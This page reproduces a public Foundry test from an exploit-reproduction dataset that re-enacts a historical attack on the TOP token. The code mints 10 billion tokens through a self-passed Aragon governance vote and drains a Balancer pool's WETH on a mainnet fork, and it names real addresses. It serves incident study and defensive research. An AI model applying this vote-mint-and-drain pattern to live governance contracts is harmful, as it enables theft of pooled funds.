Public reproduction file
src/test/2026-06/TOPBPool_exp.sol
Public reproduction file for dataset entry TOPBPool.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 944.20 WETH7// Attacker : 0xff8ef7bc455a57e5893232203052ce0232b39fa28// Attack Contract : 0x25c68c44a96518294f5b47d758f98309c6729a219// Vulnerable Contract : 0xb935c3d80229d5d92f3761b17cd81dc2610e3a4510// Attack Tx : https://etherscan.io/tx/0x967aa34c69b7775c718545c7f94d92e965eb5fc553c0f27f6f1a9c65c93ac15612// @Info13// Voting Entry Proxy : https://etherscan.io/address/0xb501d26ba74eab601576b62617cf41042bef6865#code14// Voting Implementation : https://etherscan.io/address/0xb935c3d80229d5d92f3761b17cd81dc2610e3a45#code15// TokenManager Entry Proxy : https://etherscan.io/address/0x3ac1856376c25a7aebbad1c2a10db63b5dbb7306#code16// TokenManager Implementation : https://etherscan.io/address/0xde3a93028f2283cc28756b3674bd657eafb992f4#code17// Balancer BPool : https://etherscan.io/address/0x0fa3e014fa2e751f78e53dca766fac2223327329#code19// @Analysis20// Twitter Guy : https://x.com/DefimonAlerts/status/206461611282258350521//22// The historical attack contract held 8,192.000001 TOP against a 16,384 TOP snapshot supply.23// It created an Aragon vote to mint 10 billion TOP to itself, voted the proposal through in the same24// transaction, then sold the newly minted TOP into the Balancer BPool for WETH.26address constant ATTACKER = 0xff8eF7bC455a57e5893232203052Ce0232b39Fa2;27address constant ATTACK_CONTRACT = 0x25c68C44A96518294f5B47D758f98309c6729A21;28address constant TOP = 0x0EBD5eC91680d3B0CEDbb1d5BB61851154D3eDb6;29address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;30address constant BPOOL = 0x0fa3E014fA2E751F78e53Dca766faC2223327329;31address constant TOKEN_MANAGER = 0x3ac1856376C25A7AeBBAd1C2A10db63b5dbB7306;32address constant VOTING = 0xB501d26BA74eaB601576B62617Cf41042bEf6865;34interface IERC20Like {35 function balanceOf(address account) external view returns (uint256);36 function approve(address spender, uint256 amount) external returns (bool);37 function transfer(address to, uint256 amount) external returns (bool);38}40interface ITokenManager {41 function forward(bytes calldata evmCallScript) external;42 function mint(address receiver, uint256 amount) external;43}45interface IVoting {46 function newVote(47 bytes calldata executionScript,48 string calldata metadata,49 bool castVote,50 bool executesIfDecided51 ) external returns (uint256 voteId);52 function vote(uint256 voteId, bool voteSupports, bool executesIfDecided) external;53 function votesLength() external view returns (uint256);54}56interface IBPool {57 function getBalance(address token) external view returns (uint256);58 function swapExactAmountIn(59 address tokenIn,60 uint256 tokenAmountIn,61 address tokenOut,62 uint256 minAmountOut,63 uint256 maxPrice64 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);65}67contract ContractTest is BaseTestWithBalanceLog {68 function setUp() public {69 uint256 forkBlock = 25_279_891;70 vm.createSelectFork("mainnet", forkBlock);71 vm.roll(forkBlock + 1);72 fundingToken = WETH;73 vm.label(ATTACKER, "Attacker");74 vm.label(ATTACK_CONTRACT, "Attack Contract");75 vm.label(TOP, "TOP");76 vm.label(WETH, "WETH");77 vm.label(BPOOL, "Balancer TOP/WETH BPool");78 vm.label(TOKEN_MANAGER, "TOP TokenManager Proxy");79 vm.label(VOTING, "TOP Voting Proxy");80 }82 function testExploit() public {83 uint256 attackerWethBefore = IERC20Like(WETH).balanceOf(ATTACKER);84 uint256 poolWethBefore = IERC20Like(WETH).balanceOf(BPOOL);86 vm.etch(ATTACK_CONTRACT, type(TopBPoolDrain).runtimeCode);88 vm.prank(ATTACKER);89 TopBPoolDrain(ATTACK_CONTRACT).drain();91 uint256 attackerWethAfter = IERC20Like(WETH).balanceOf(ATTACKER);92 uint256 poolWethAfter = IERC20Like(WETH).balanceOf(BPOOL);93 uint256 attackerProfit = attackerWethAfter - attackerWethBefore;95 emit log_named_decimal_uint("Attacker WETH profit", attackerProfit, 18);96 emit log_named_decimal_uint("BPool WETH before", poolWethBefore, 18);97 emit log_named_decimal_uint("BPool WETH after", poolWethAfter, 18);99 assertGt(attackerProfit, poolWethBefore, "attacker did not receive drained WETH");100 assertLt(poolWethAfter, poolWethBefore / 1_000_000_000, "BPool WETH was not drained to dust");101 }102}104contract TopBPoolDrain {105 function drain() external {106 // step 1: create an Aragon vote whose execution script mints TOP to this historical address.107 uint256 voteId = IVoting(VOTING).votesLength();108 ITokenManager(TOKEN_MANAGER).forward(buildNewMintVoteScript());110 // step 2: use the historical address's pre-attack TOP snapshot balance to pass and execute it.111 IVoting(VOTING).vote(voteId, true, true);113 // step 3: sell the minted TOP into the Balancer pool at the maximum allowed in-ratio each round.114 IERC20Like(TOP).approve(BPOOL, type(uint256).max);115 while (IERC20Like(TOP).balanceOf(address(this)) > 0) {116 uint256 topBalance = IERC20Like(TOP).balanceOf(address(this));117 uint256 amountIn = IBPool(BPOOL).getBalance(TOP) / 2;118 if (amountIn > topBalance) amountIn = topBalance;120 IBPool(BPOOL).swapExactAmountIn(TOP, amountIn, WETH, 0, type(uint256).max);121 require(IERC20Like(TOP).balanceOf(address(this)) < topBalance, "TOP balance did not decrease");122 }124 // step 4: forward the drained WETH plus the contract's pre-existing WETH dust to the tx sender.125 uint256 wethBalance = IERC20Like(WETH).balanceOf(address(this));126 IERC20Like(WETH).transfer(ATTACKER, wethBalance);127 }129 function buildNewMintVoteScript() private view returns (bytes memory) {130 uint256 mintAmount = 10_000_000_000 ether;131 bytes memory mintCall = abi.encodeWithSelector(ITokenManager.mint.selector, address(this), mintAmount);132 bytes memory mintScript = buildEvmCallScript(TOKEN_MANAGER, mintCall);134 bytes memory newVoteCall =135 abi.encodeWithSelector(IVoting.newVote.selector, mintScript, "single-contract drain", false, false);136 return buildEvmCallScript(VOTING, newVoteCall);137 }139 function buildEvmCallScript(address target, bytes memory callData) private pure returns (bytes memory) {140 return abi.encodePacked(uint32(1), target, uint32(callData.length), callData);141 }142}Analysis
Dataset entry
Public Foundry test for “TOPBPool” (2026-06-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/Vault4626_exp.solSame month in the dataset · 172 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xff8ef7bc455a57e5893232203052ce0232b39fa2
- Attack Contract
0x25c68c44a96518294f5b47d758f98309c6729a21
- Vulnerable Contract
0xb935c3d80229d5d92f3761b17cd81dc2610e3a45
- Attack Tx
0x967aa34c69b7775c718545c7f94d92e965eb5fc553c0f27f6f1a9c65c93ac156
- Twitter: https://x.com/DefimonAlerts/status/2064616112822583505
- Explorer: https://etherscan.io/address/0xb501d26ba74eab601576b62617cf41042bef6865#code
- Explorer: https://etherscan.io/address/0xb935c3d80229d5d92f3761b17cd81dc2610e3a45#code
- Explorer: https://etherscan.io/address/0x3ac1856376c25a7aebbad1c2a10db63b5dbb7306#code
- Explorer: https://etherscan.io/address/0xde3a93028f2283cc28756b3674bd657eafb992f4#code
- Explorer: https://etherscan.io/address/0x0fa3e014fa2e751f78e53dca766fac2223327329#code
File record
- Name
- TOPBPool
- Path
- src/test/2026-06/TOPBPool_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1c562821ca0f1e1adc637085032d909281129621
- Language
- Solidity
- Size
- 143 lines
- Date
- 2026-06-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/TOPBPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1c562821ca0f1e1adc637085032d909281129621, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.